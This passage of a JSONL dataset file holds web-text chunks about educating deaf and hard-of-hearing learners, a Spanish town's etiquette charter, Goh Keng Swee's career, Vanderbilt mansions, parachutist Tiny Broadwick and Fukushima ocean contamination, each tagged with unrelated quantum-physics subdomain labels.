) federal and state definitions of learners who are hard of hearing, deaf, or functionally deaf, ( 2 ) the auditory system, ( 3 ) common types of hearing losses and / or deafness, ( 4 ) common causes and conditions of hearing losses and / or deafness, ( 5 ) medical, educational and functional screenings and assessments, and ( 6 ) environmental adaptations and modifications for learners who are deaf or hard of hearing. each section of this module contains brief descriptions about a particular focus area for learners who are deaf or hard of hearing. factors that impact auditory input understanding the nature of hearing losses and deafness has many implications for learners, their family members, and their educators. the impact hearing loss has on a learner becomes more evident especially when team members collaborate in planning for the learners ' individualized education program ( i. e. iep ). the more information that team members have about the nature of the learner ' s hearing loss, how the learner ' s hearing is assessed both educationally and medically, and how to use the assessment results will better equip team members in determining the necessary adaptations, modifications, and accommodations the learner needs in his home, school, work, or in the community. additional considerations that impact auditory input hearing losses vary in their degree and severity. learners may be identified as \" deaf \" or identified as \" hard of hearing. \" if learners are identified as \" totally deaf, \" it usually means they have such a significant hearing loss in both ears, the use of their residual ( i. e. remaining ) hearing is so limited that learners are unable to obtain clear auditory input of environmental sounds and conversational speech even with correction ( e. g., hearing aids, cochlear implants, etc. ). if learners are identified as \" hard of hearing, \" it usually means their residual hearing is less severe. learners who are hard of hearing more than likely have the ability to obtain additional input from their environments and conversational speech with correction. the causes and types of the hearing losses and the age of onset of the hearing losses will provide further information about how often the learner ' s hearing should be tested, what type ( if any ) hearing devices should be used, and what environmental adaptations", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5658111289020783, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.156110"} {"text": "the causes and types of the hearing losses and the age of onset of the hearing losses will provide further information about how often the learner ' s hearing should be tested, what type ( if any ) hearing devices should be used, and what environmental adaptations, modifications, and accommodations are needed for learners to hear more clearly in their immediate environments. learners with hearing losses and additional disabilities learners with multiple disabilities ( e. g., physical involvement, health care conditions, and / or cognitive difficulties ) often have a hearing loss or are deaf. these conditions impact the learner ' s ability to use his or her residual hearing. for example, a learner with charge syndrome ( refer to module one introduction to learners with deafblindness ) most likely will have difficulty with hearing due to the shape and function of the outer, middle, and inner ear. a learner with health care needs often will have fluctuating hearing losses due to multiple middle ear infections, medications, medical treatment, or syndromes. the learner who has a hearing loss may have difficulty in processing environmental and speech sounds that limits her understanding about ( a ) what is being communicated to her through expressive speech, and ( b ) what is occurring in her environment ( e. g., traffic sounds, tv news, or musical instruments ). mental retardation is not the cause of hard of hearing or deafness what is most important about learners who are hard of hearing, deaf, and / or who have multiple disabilities is that mental retardation is not the cause of the learners ' hearing losses. unbelievably, there are persons who believe that hearing losses are caused by mental retardation. this is particularly the case for students with additional disabilities. the physicians and audiologists who believe that mental retardation causes hearing loss typically do not recommend hearing devices ( e. g., hearing aids, cochlear implants, etc. ) because they do not believe it would make any difference in the learner ' s abilities to receive and act on auditory input. therefore, it is essential that the learner ' s family members and educators locate an audiologist and / or physician who : ( 1 ) understands how to test learners with hearing losses, ( 2 ) provides information about the different types of hearing aids or assistive listening devices, and ( 3 ) has knowledge of modifications, adaptations, and accommodations for the learner ' s specific auditory needs including those students with additional disabilities. national, state, and local resources for hard of hearing and deafness", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.480215765214423, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.157205"} {"text": "aids or assistive listening devices, and ( 3 ) has knowledge of modifications, adaptations, and accommodations for the learner ' s specific auditory needs including those students with additional disabilities. national, state, and local resources for hard of hearing and deafness there are many national, state, and local resources for learners who are hard of hearing or deaf and their family members, such as : any of the above organizations are good resources to locate medical and educational professionals who can provide both medical and functional vision and hearing assessments. additionally, these resources will provide family members and educators with information, such as how to adapt the environment, determine if some learners need to be restricted from sports involving water activities ( e. g., learners with tubes in their ears ), and suggest referrals to assistive technology centers that will assist learners to perform activities at home, school, and work. ( refer to module xxx assistive technology for learners who are deafblind. ) key elements of module 3 : learners who are hard of hearing and / or deaf the key elements of this module are the : 1 ) federal and state definitions of deaf and / or hard of hearing ; 2 ) structure and function of the auditory system ; 3 ) common types and severity of hearing loss ; 4 ) common causes and conditions of hearing losses and / or deafness ; 5 ) common types of clinical and functional hearing assessments ; and, 6 ) environmental assessments, and adaptations, modifications, and accommodations for learners who are deaf or hard of hearing. the above key elements correspond with the idoe division of professional standards ( idps ) instructional proficiencies and objectives from the competencies for teachers of learners who are deafblind that were developed by members from the perkins national deafblind training project published in 1997. ( refer to the below listed idps instructional proficiencies and objectives 28 through 32 from the competencies for teachers of learners who are deafblind. ) while it is encouraged that you complete all of the tasks for completion in this module, persons who would just like to have a basic understanding of learners who are deaf or hard of hearing only need to read or look through the resources included in this module. individuals who are planning on teaching others about learners with deafness or hearing loss or who may want to receive cru ' s or points for their professional development plans need to complete all of the tasks and activities included in this module. idps instructional proficiencies and national deafblind competencies for teachers of learners who are deafblind of this module, learners who are", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.510282236654416, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.158246"} {"text": "civility is at the very heart of civilization. those two words, along with other words such as \u201c city \u201d and \u201c citizen, \u201d come from the latin \u201c civitas, \u201d which means a body of citizens bound by common laws and rules. in other words, civilized people agree to be nice to each other. think of how both you and the cashier usually say \u201c thank you \u201d when you buy your morning coffee, even if you \u2019 re complete strangers. getting along in modern life would be impossible without at least passable manners. which brings us to today \u2019 s regulation of the day. la toba, spain \u2019 s mayor, julian altienza garcia recently issued a 65 - plank courtesy charter making it illegal to commit tactless acts in public from burping to slurping soup. to this writer \u2019 s knowledge, la torba does not have a reputation as a bastion of barbarity. the charter even contains a mandate of sorts \u2013 children are required to spend some time with their grandparents on a regular basis. it is not known how spain \u2019 s supreme court would rule if they were to decide on the grandparent mandate \u2019 s legality. some of the other offenses include : - touching your genitals - yawning without covering your mouth - coughing without covering your mouth - talking with your mouth full none of these breaches of decorum are punishable beyond a dirty look and a wag of the finger. people convicted of other minor offenses will, however, be able to have their fines waived if they take etiquette courses. mayor garcia defends his courtesy charter, saying \u201c it is a compendium of basic rules of politeness that are being lost and should not be forgotten. \u201d he \u2019 s right that manners are important. they shouldn \u2019 t be forgotten. and it certainly is useful to have a written etiquette primer. in fact, many already exist. you can look here, here, here, and here, for starters. but even if mayor garcia \u2019 s job description is as broad as he believes it to be, his constituents would be better served if he turned his attention to more pressing matters than other peoples \u2019 boogers.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4198307547868617, "token_count": 447, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.160378"} {"text": "goh keng swee comments on article : infopediatalk goh keng swee ( dr ) ( b. 6 october 1918, malacca, malaysia \u2013 d. 14 may 2010, singapore ) has often been called the \" economic architect \" of singapore, contributing greatly in shaping the development of singapore into a prosperous nation as minister for finance and minister of defence. he held several other key appointments, including deputy prime minister, minister of education, and chairman of the monetary authority of singapore ( mas ) and various government - led companies. born into a middle - income peranakan family in malacca, he came to singapore when he was two years old. his early education was at anglo - chinese school ( 1927 \u2013 1936 ) and later at raffles college ( 1936 \u2013 1939 ). armed with a diploma in arts, he entered the colonial civil service in 1939, but his career was interrupted by the japanese occupation. he rejoined the civil service in 1946 and his outstanding performance earned him a scholarship to study statistics at the london school of economics ( lse ) in 1947. during his stay in london, he started the malayan forum, an anti - colonial political group, with some fellow students including lee kuan yew and toh chin chye. goh became its first chairman. in 1951, he graduated from lse with a first class honours in economics and won the william farr prize. he resumed work in the civil service back in singapore, but later returned to lse for further studies in 1954 and obtained his doctor of philosophy degree in 1956. after the japanese occupation, goh joined the social welfare department, where he attained the position of director in 1958. during his time in the colonial civil service, he formed the council for joint action together with k. m. byrne to seek equal pay for asian civil servants. in 1959, he resigned from the civil service and contested the general elections as a people ' s action party ( pap ) candidate. he won the kreta ayer seat and represented the constituency in the legislative assembly and later the parliament of singapore until his retirement from politics in 1984. he led various ministries during critical periods in singapore ' s history, introducing bold measures to tackle issues in the economy and in the areas of defence and education. appointed minister for finance in 1959, he introduced an industrialisation programme with the aim of creating jobs for singaporeans. jurong, a swampy wasteland at the time, was transformed into singapore ' s first industrial estate. to jumpstart the area \u2019 s", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3841690386697183, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.172990"} {"text": "finance in 1959, he introduced an industrialisation programme with the aim of creating jobs for singaporeans. jurong, a swampy wasteland at the time, was transformed into singapore ' s first industrial estate. to jumpstart the area \u2019 s development, he offered incentives and drew in foreign investments. he also initiated the setting up of the economic development board ( edb ), which was established in august 1961 with the purpose of furthering the economic development of singapore by attracting foreign investments. when singapore attained independence on 9 august 1965, he became the first defence minister and saw an urgent need for a strong defence force. to quickly build up the singapore armed forces, he implemented compulsory national service for all male singaporeans above 18 years old. during his term as minister of education, the importance of curriculum development in the education system prompted him to set up the curriculum development institute. to arrest the high dropout rates, he introduced streaming in 1980 to allow students to learn at their own pace within their own capabilities. he also introduced religious education but this was later dropped from the school curriculum. when he was appointed chairman of mas and the board of commissioner of currency in 1980, he took measures to promote singapore as an international financial centre. to this end, in 1984, amendments were made to three major financial regulations, namely the banking act, the monetary authority of singapore act and the finance companies act. during the 1985 recession, he acted swiftly to stop the downward slide of the singapore dollar. in the early years of china \u2019 s economic reform programme, the chinese central government sought his expertise and appointed him as its economic adviser on coastal development and tourism in 1985. he was the first foreigner to be appointed to such a role. in 1985, the singapore government awarded him the prestigious order of temasek ( first class ) for his contributions in the nation \u2019 s development. to honour him, the financial community set up the goh keng swee scholarship fund in 1992, while the national university of singapore established the goh keng swee professorship and master ' s scholarship in economics in 1996. to preserve his legacy, goh \u2019 s wife phua swee liang set up the goh keng swee foundation in 2008 to help the disadvantaged. may 1959 \u2013 sep 1963 : vice - chairman of pap. 30 may 1959 \u2013 3 dec 1984 : legislative assemblyman and later member of parliament for kreta ayer. 5 jun 1959 \u2013 8 aug 1965 : minister for finance. 9 aug 1965 \u2013 23 sep 1965 : minister of defence and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42457019517344297, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.174090"} {"text": "pap. 30 may 1959 \u2013 3 dec 1984 : legislative assemblyman and later member of parliament for kreta ayer. 5 jun 1959 \u2013 8 aug 1965 : minister for finance. 9 aug 1965 \u2013 23 sep 1965 : minister of defence and security. 24 sep 1965 \u2013 16 aug 1967 : minister of the interior and defence. 17 aug 1967 \u2013 10 aug 1970 : minister for finance. 11 aug 1970 \u2013 11 feb 1979 : minister of defence. 1 mar 1973 \u2013 31 may 1980 : deputy prime minister. 12 feb 1979 \u2013 31 may 1980 : minister of education. 1 jun 1980 \u2013 dec 1984 : first deputy prime minister and chairman of mas. 1 jun 1981 \u2013 dec 1984 : minister of education. 1981 \u2013 1994 : deputy chairman, government of singapore investment corporation. 1983 \u2013 1992 : chairman, board of governors, institute of east asian philosophies ( later renamed institute of east asian political economy or ieape ). dec 1984 : retired from politics. 1985 \u2013 1992 : deputy chairman, mas. 1988 \u2013 1994 : chairman, singapore totalisator board. 1991 : director, gateway technologies services pte ltd. 1992 \u2013 1995 : executive chairman and chairman of board of governors, ieape. chairman, east asian consultancy ( s ) pte ltd. 1994 : chairman, n. m. rothschild & sons ( s ) ltd. 1995 : vice - chairman, hong leong asia ltd. 1996 \u2013 1997 : deputy chairman, ieape. 1966 : honorary fellow of lse. 1972 : ramon magsaysay award for government services. 1972 : order of sikatuna, philippines. 1985 : order of temasek ( first class ), singapore. 1991 : first distinguished fellow, edb society, singapore. 1992 : honorary member of the singapore international monetary exchange. 1993 : honorary doctor of letters degree from the university of hong kong. father : goh leng inn. mother : tan swee eng. wife : alice woon ( married in 1942 but separated in 1986 ) ; phua swee liang ( married in 1991 ). children : one son, kian chee. grandchildren : two grandsons, ken - yi and shaoyi. great grandchildren : three great grandsons, ethan, sean christian and julien. retirement and death goh was diagnosed with bladder cancer in september 1983 and he retired from politics in december 1984. he kept a low profile but remained active with various organisations where he served on the board or as an adviser. after he married phua in 1991, the couple travelled widely to places such as", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39605991921411293, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.175159"} {"text": "in september 1983 and he retired from politics in december 1984. he kept a low profile but remained active with various organisations where he served on the board or as an adviser. after he married phua in 1991, the couple travelled widely to places such as australia and hawaii. however, a series of strokes in the late 1990s and early 2000s took a heavy toll on him. he was bedridden in his final years and passed away on 14 may 2010. jenny tien & valerie chew chew, m. ( 1996 ). leaders of singapore ( pp. 141 \u2013 150 ). singapore : resource press. ( call no. : rsing 920. 05957 che ) chia, p. ( 1973, march 21 ). pay rise for cabinet. the straits times, p. 1. retrieved may 17, 2010, from newspapersg database. devan, j. ( 2010, may 15 ). remembering goh keng swee. the straits times. retrieved may 17, 2010, from factiva database. financial community sets up $ 4m goh keng swee scholarship fund [ microfilm : nl17803 ]. ( 1992, november 28 ). the straits times, p. 44. former deputy pm goh keng swee dies. ( 2010, may 14 ). channel newsasia. retrieved may 14, 2010, from http : / / www. channelnewsasia. com / stories / singaporelocalnews / view / 1056516 / 1 /. html government gazette ( gn no. 1362 \u2013 appointment of legislative assemblymen ). ( 1959, june 2 ). singapore : government printing office. ( call no. : rclos 959. 57 sgg ) government gazette ( gn ( ns ) no. 59 \u2013 ministerial appointments ). ( 1959, june 6 ). singapore : government printing office. ( call no. : rclos 959. 57 sgg ) government gazette ( gn no. 535 \u2013 ministerial appointments, p. 672 ). ( 1979, february 16 ). singapore : singapore national printers. ( call no. : rsing 959. 57 sgg ) government gazette ( gn no. 4270 \u2013 dissolution of parliament, p. 7613 ). ( 1984, december 4 ). singapore : singapore national printers. ( call no. : rsing 959. 57 sgg ) kwang, m. ( 1993, march 5 ). hk varsity confers honorary doctorates on dr goh, 3", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.37379781393223044, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.175999"} {"text": ", december 4 ). singapore : singapore national printers. ( call no. : rsing 959. 57 sgg ) kwang, m. ( 1993, march 5 ). hk varsity confers honorary doctorates on dr goh, 3 others. the straits times. retrieved on february 24, 2011, from newspapersg.. lam, p. e., & tan, y. l. k. ( eds. ). ( 1999 ). lee ' s lieutenants : singapore ' s old guard. ( pp. 24 \u2013 69 ). australia : allen & unwin. ( call no. : rsing 320. 95957 lee ) loh, c. k. ( 2008, november 27 ). ex - dpm \u2019 s wife reaches out. today. retrieved may 17, 2010, from factiva database. loh, c. k. ( 2010, may 17 ). life with goh keng swee, his wife shares memories. today. retrieved may 17, 2010, from factiva database. low, k. t. ( ed. ). ( 2006 ). who ' s who in singapore 2006 ( pp. 157 \u2013 158 ). singapore : who ' s who publishing. ( call no. : rsing 920. 05957 who ) ministry of culture. ( 1977 ). biographical notes of the president, prime minister and ministers. singapore : publicity division, ministry of culture. ( call no. : rclos 328. 59570922 bio ) nur dianah suhaimi. ( 2010, may 16 ). his work was his passion. the straits times. retrieved may 17, 2010, from factiva database. shoeb kagda. ( 1992, may 20 ). mr fix - it, the architect of s ' pore ' s economic success [ microfilm : nl17641 ]. the business times, singapore, p. 9 simex honours dr goh with honorary membership. ( 1992, september 20 ). the straits times. retrieved on february 24, 2011, from newspapersg.. singapore chronicles : a special commemorative history of singapore ( p. 36 ). ( 1995 ). hong kong : illustrated magazine. ( call no. : rsing 959. 57 sin ) singapore : the first ten years of independence, 1965 to 1975. ( 2007 ). singapore : national library board ; national archives of singapore. ( call no. : rsing 959. 5705 sin - [ his ] ) tan, s", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39932108570719915, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.176809"} {"text": ") singapore : the first ten years of independence, 1965 to 1975. ( 2007 ). singapore : national library board ; national archives of singapore. ( call no. : rsing 959. 5705 sin - [ his ] ) tan, s. s. ( 2007 ). goh keng swee : a portrait. singapore : editions didier millet. ( call no. : rsing 959. 5704092 tan - [ his ] ) ooi, kee beng. ( 2010 ). in lieu of ideology : the intellectual biography of goh keng swee. singapore : institute of southeast asian studies. ( call no. : rsing 959. 570509 ooi ) goodbye : goh keng swee, 1918 - 2010. petir : organ of the people ` s action party. ( special issue may / june 2010 ). singapore : people ' s action party. ( call no. : rsing 329. 95957 p ) in memory of dr goh keng swee : architect of singapore ' s of singapore ' s economic, defence and education policies. ( july - september 2010 ). bemuse. pp. 92 - 103. singapore : education and outreach division of the national heritage board. ( call no. : rsing 950 b ) playing a key role. ( 2010, may 15 ). the straits times. retrieved may 17, 2010, from factiva database. pwee, t., & saparudin, k. ( 2010, may 14 ). nls resource guides : goh keng swee. retrieved may 17, 2010, from http : / / libguides. nl. sg / gohkengswee state funeral on may 23. ( 2010, may 15 ). the straits times. retrieved may 17, 2010, from factiva database. 10 years that shaped a nation ( pp. 34, 58 \u2013 76 ). ( 2008 ). singapore : national archives of singapore. ( call no. : rsing 959. 5705 ten - [ his ] ) list of images singapore : an illustrated history, 1941 - 1984 ( pp. 208 \u2013 209, 317 \u2013 319 ). ( 1984 ). singapore : information division, ministry of culture. ( call no. : rsing 959. 57 sin - [ his ] ) the information in this article is valid as at 2010 and correct as far as we can ascertain from our sources. it is not intended to be an exhaust", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4481205022373124, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.177598"} {"text": "during the 1870s to the 1920s, the affluent vanderbilt family commissioned the very best and most expensive architectural and interior design firms to build a seriess of townhouses in new york and mansions in the east coast. most of the vanderbilt houses, because of their unequalled historic beauty and breathtaking magnificence, are now designated as national historic landmarks. the architects of the vanderbilt homes include richard morris hunt, charles b. atwood, george b. post, addison mizner, warren and wetmore, mckim, mead and white, carrere and hastings, and horrace trumbauer. the wealthy american - anglo vanderbilt family had dutch roots. they were probably the most affluent of families during the 1800s when cornelius vanderbilt founded shipping and railroad empires. cornelius vanderbilt is regarded as the tenth wealthiest person in history. | his descendants spent unbelievable sums of money on the construction of lavish homes while he himself preferred more modest frederick william vanderbilt commissioned mckim, mead and white to build hyde park in new york in 1896. hyde park is now known as the vanderbilt mansion national historic site. frederick william also built the rough point mansion in newport. william kissam vanderbilt had architect richard morris hunt design three homes for him. they are his townhouse at fifth avenue, new york ; the idle hour mansion in oakdale, long island, new york ; and the marble house in newport, rhode island. in 1910, william kissam ii hired warren and wetmore to build eagleis nest in centerport, new york. george washington vanderbilt ii again commissioned richard morris hunt to build bitmore in asheville, north carolina. it is the largest residence in the entire united states. also designed by hunt is cornelius vanderbilt iiis breakers mansion in newport, rhode island. he has another house in new york which was built by george b. post. florence vanderbilt, wife of hamilton twombly, looked to mckim, mead and white to build florham in covent station, new jersey. florham now serves as the administration building of farleigh dickinson university. emily thorn vanderbilt, william douglas sloans wife, was responsible for the construction of the elm court in lenox, massachusetts. in all of america, it is the largest residential example of shingle - style architecture. in 1919, the elm court talks were held at elm court. these talks led to the founding of the league of nations and to the conception of the treaty of versailles. the vanderbilts were the leaders of the elite society, but during the mid 1900s, the familyis high", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40197925602457585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.181784"} {"text": "she was called \u201c tiny, \u201d weighing only three pounds when she was born in 1893, the seventh and last child of a poor farm family in granville county, north carolina. georgia ann thompson was married at 12, a mother at 13, and a school dropout. after her husband was killed in an accident, she had to work 14 - hour days in a cotton mill to support her daughter verla. she seemed destined for a life of grinding, relentless poverty. but when she saw \u201c the broadwicks and their famous french aeronauts \u201d at the 1907 north carolina state fair, something happened to georgia ann thompson. she just had to become one of those daring people. they ascended to the sky in hot - air balloons, then thrilled spectators by jumping out of the basket and floating to earth with the aid of parachutes. little georgia asked show owner charles broadwick if she could travel with the group and become a part of the act. broadwick was impressed by her good looks and spirit. he could see that pretty little girl, who stood all of four feet tall, would be a big hit. he agreed to hire her. georgia \u2019 s mother let her go, but only if she \u2019 d leave the daughter at home in north carolina and send back a portion of her salary to help. off to a life of adventure so georgia ann thompson escaped the tobacco fields and cotton mills and set off for a new life and an honored place in the history of aviation. broadwick trained her in the art of parachute jumping, and she became the sweetheart of carnival crowds all across the land. broadwick also got her father \u2019 s consent to legally adopt georgia, because it was unseemly for a young girl to be traveling the country with an older man. her name became tiny broadwick. they called her the doll girl at the carnivals. she dressed in ruffled bloomers with pink bows on her arms, ribbons in her long curly hair, and a little bonnet on her head. but tiny was anything but a demure princess. she was an utterly fearless daredevil, drawing large crowds wherever she went. her first jump was in 1908. newspaper stories described her as the most daring female aeronaut ever seen, chronicling the dangerous maneuvers she executed with apparently little or no fear. from balloons to airplanes the broadwicks traveled all over the country with their balloon act. but by 1912, that kind of performance was losing popularity. times were changing, and heavier - than - air machines were rapidly getting better and better", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4063412045478734, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.187266"} {"text": "no fear. from balloons to airplanes the broadwicks traveled all over the country with their balloon act. but by 1912, that kind of performance was losing popularity. times were changing, and heavier - than - air machines were rapidly getting better and better after the wright brothers \u2019 pioneering work in the previous decade. fortunately, a new opportunity arose for tiny. out in los angeles for the dominguez air show, she met up with famed pilot glenn martin. he had seen her jump from a balloon, and he asked if she \u2019 d try parachuting from his airplane instead. like charles broadwick, glenn martin saw how tiny would attract spectators for his airplane shows. tiny immediately agreed to work for martin, whose aircraft company is still with us today as martin marietta. charles broadwick developed a parachute for her. it was made of silk and was packed into a knapsack attached to a canvas jacket with harness straps. a string was fastened to the plane \u2019 s fuselage and woven through the parachute \u2019 s canvas covering. when the wearer jumped from the plane, the cover tore away and the parachute filled with air. on her first jump, tiny was suspended from a trap seat behind the wing and outside the cockpit, with the parachute on a shelf above her. martin took the plane up to two thousand feet, and then tiny released a lever alongside the seat, allowing it to drop out from under her. she floated to earth and landed in griffith park in los angeles, making her the first woman to parachute from an airplane. after that first jump from martin \u2019 s plane, tiny was in great demand all over the country. she also became the first woman to parachute into a body of water. the army comes calling in 1914, representatives of the army air corps visited her in san diego and asked her to demonstrate a jump from a military plane. war was already raging in europe. many pilots of the corps had already perished, and more would surely follow if nothing was done to help them. tiny made four jumps at san diego \u2019 s north island that day. the first three went smoothly, but on the fourth jump, her parachute \u2019 s line became tangled in the tail assembly of the plane. the wind whipped and flipped her small body back and forth, and she could not get back into the plane. but tiny broadwick did not panic. instead, she cut all but a short length of the line and plummeted away toward the ground. then she pulled the line by hand, freeing the parachute to open by itself. thus she", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.38514203072957676, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.188206"} {"text": "the plane. but tiny broadwick did not panic. instead, she cut all but a short length of the line and plummeted away toward the ground. then she pulled the line by hand, freeing the parachute to open by itself. thus she demonstrated what would be known as the rip cord. her quick thinking and cool under pressure made tiny broadwick the first person ever to make a planned free - fall descent. that accident she survived in mid - air demonstrated that someone who had to leave an airplane in flight did not need a line attached to the aircraft to open a parachute. a pilot could safely bail out of a damaged craft. the parachute became known as the life preserver of the air. during world war i, tiny served as an advisor to the army air corps. tiny broadwick made more than 1, 000 jumps from airplanes, enduring and surviving several harrowing mishaps. once she ended up on top of the caboose of a train that was just leaving a station ; she got tangled up in the vanes of a windmill and in high - tension wires. she suffered numerous injuries along the way \u2013 broken bones, sprained ankles, wrenched back. but she loved her work. her last jump was in 1922. chronic problems with her ankles forced her into retirement. she eventually went to work on an assembly line in a tire factory. later on, she worked as a companion - housekeeper for elderly people. during world war ii, tiny broadwick visited military bases and talked to pilots and air crews. she \u2019 d bring along one or more of her primitive parachutes and convinced the lads that if she could survive a jump, so could they. the parachute she used for her first military demonstration jump is now in the smithsonian institution in washington. tiny spent most of her life in california. in 1955, she appeared on an episode of \u201c you bet your life \u201d with groucho marx. she never remarried, but daughter verla gave her six grandchildren. tiny also lived to see 15 great - grandchildren and several more great - great - grandchildren. she died in 1978, at age 85. she was buried in henderson, north carolina, the town where she first lived with verla and worked those long days in the cotton mill. north carolina prides itself as the state that \u2019 s \u201c first in flight. \u201d thanks in part to its daughter georgia \u201c tiny \u201d broadwick, the little girl with the big dream and the courage to pursue it, north carolina might also claim title as the state that was first from", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4037530966998315, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.189207"} {"text": "ocean contamination in the wake of japan ' s 3. 11 disaster by miguel quintana radioactive particles released after the accident at the fukushima daiichi nuclear power plant continue to spread along the seashore and rivers of eastern japan, creating underwater hotspots as far as tokyo bay, according to recent scientific studies. but the full magnitude and impact of the contamination, already considered the largest case of unintended1 marine pollution by radionuclides in history, has yet to be established. experts have pointed out four main routes of ocean contamination, namely the initial atmospheric fallout, direct releases from the plant, rivers draining particles that fell over land, and groundwater. only the first two categories have been quantified so far. initial assessments of fallout at sea estimates regarding the total amount of cesium - 137 ( half - life of 30 years ) released into the ocean remain subject to debate. france \u2019 s radioprotection and nuclear safety institute ( irsn ) estimated in october that direct releases into the sea totaled 27 petabecquerels ( pbq ) 2 between mar. 21 and mid - july, representing \u201c the largest release of artificial radionuclides in the marine environment ever observed. \u201d the same month, the norwegian institute for air research said that total releases from the plant amounted to 36 pbq, 80 percent of which were deposited in the water. fukushima daiichi by the sea prof. yoshimura kei, from the university of tokyo ' s atmosphere and ocean research institute, conducted a simulation of atmospheric releases based on government information. according to his model, of the 16. 5 pbq of cesium released in march, some 0. 3 pbq fell over land, 2. 7 pbq over the ocean in the region, with the rest going further away. \" such calculations are further complicated by the regular influx of cesium that fell over land before draining back into the ocean via contaminated rivers. one survey of abukumagawa river, which runs through fukushima prefecture and into neighboring miyagi, uncovered an average flow of 50 billion becquerels of cesium per day in late august. 3 when contacted last december, a spokesman for the japanese ministry of science and technology - which oversees many of the studies conducted by academic institutions - said the river was not subject to regular monitoring. project leader onda yuichi, from tsukuba university ' s graduate school of life and environmental sciences, said in late february that his team had continued taking", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48674199951734504, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.198688"} {"text": "of the studies conducted by academic institutions - said the river was not subject to regular monitoring. project leader onda yuichi, from tsukuba university ' s graduate school of life and environmental sciences, said in late february that his team had continued taking measurements \" once every other week, and sometimes once a month. \" onda said he could not comment on the general evolution of cesium levels since august because the results were \" still being processed. \" an official report on the situation there is to be delivered to the government on march 8th and presented at a press conference on march 13th. early monitoring activities at sea depended on samples collected by tokyo electric power co. ( tepco ) near the plant and surveys sponsored by the japanese ministry of science and technology at eight stations some 30 kilometers offshore. analysis of this initial data was featured in an article entitled impact of the fukushima nuclear power plants on marine radioactivity, published in december in the journal environmental science and technology. 4 according to ken buesseler from the woods hole oceanographic institution and two co - authors, ocean discharges of cesium peaked in early april. higher - than - expected concentrations in may pointed towards a \u201c steady, albeit lower \u201d release at least through the end of july. the authors, who took measurements in the sea off fukushima, say fukushima \u201c has become the largest accidental source of radionuclides to the ocean, \u201d surpassing the impact of chernobyl on the baltic and black seas in 1986. but their assessment \u201c does not consider bioaccumulation and consumption of seafood and seaweeds and possible impacts on humans, \u201d prompting them to call for \u201c continued monitoring and bans on fishing in fukushima impacted waters. \u201d buessler aboard ship. he previously studied the chernobyl radiation. \u201c levels of several isotopes, such as cesium - 134 and cesium - 137 are more than 1, 000 times higher concentrations than existed prior to the accident, \u201d says buesseler. \u201c at these levels, cesium is not directly harmful to humans or marine biota, or to humans via seafood consumption. however, the fukushima site continues to leak these isotopes at levels that are of concern \u2013 about 1, 000 to 10, 000 times higher offshore than [ before the accident ] \u2013 and there is no sign that this is significantly decreasing. \u201d tracking the spread of radioactive cesium in november, researchers from the tokyo university of marine science and technology conducted the first \u2013 and so far", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4630358642928467, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.199716"} {"text": "times higher offshore than [ before the accident ] \u2013 and there is no sign that this is significantly decreasing. \u201d tracking the spread of radioactive cesium in november, researchers from the tokyo university of marine science and technology conducted the first \u2013 and so far only \u2013 scientific survey inside the 20 - km exclusion zone with the cooperation of local fishermen. their mission was featured in an investigative documentary aired 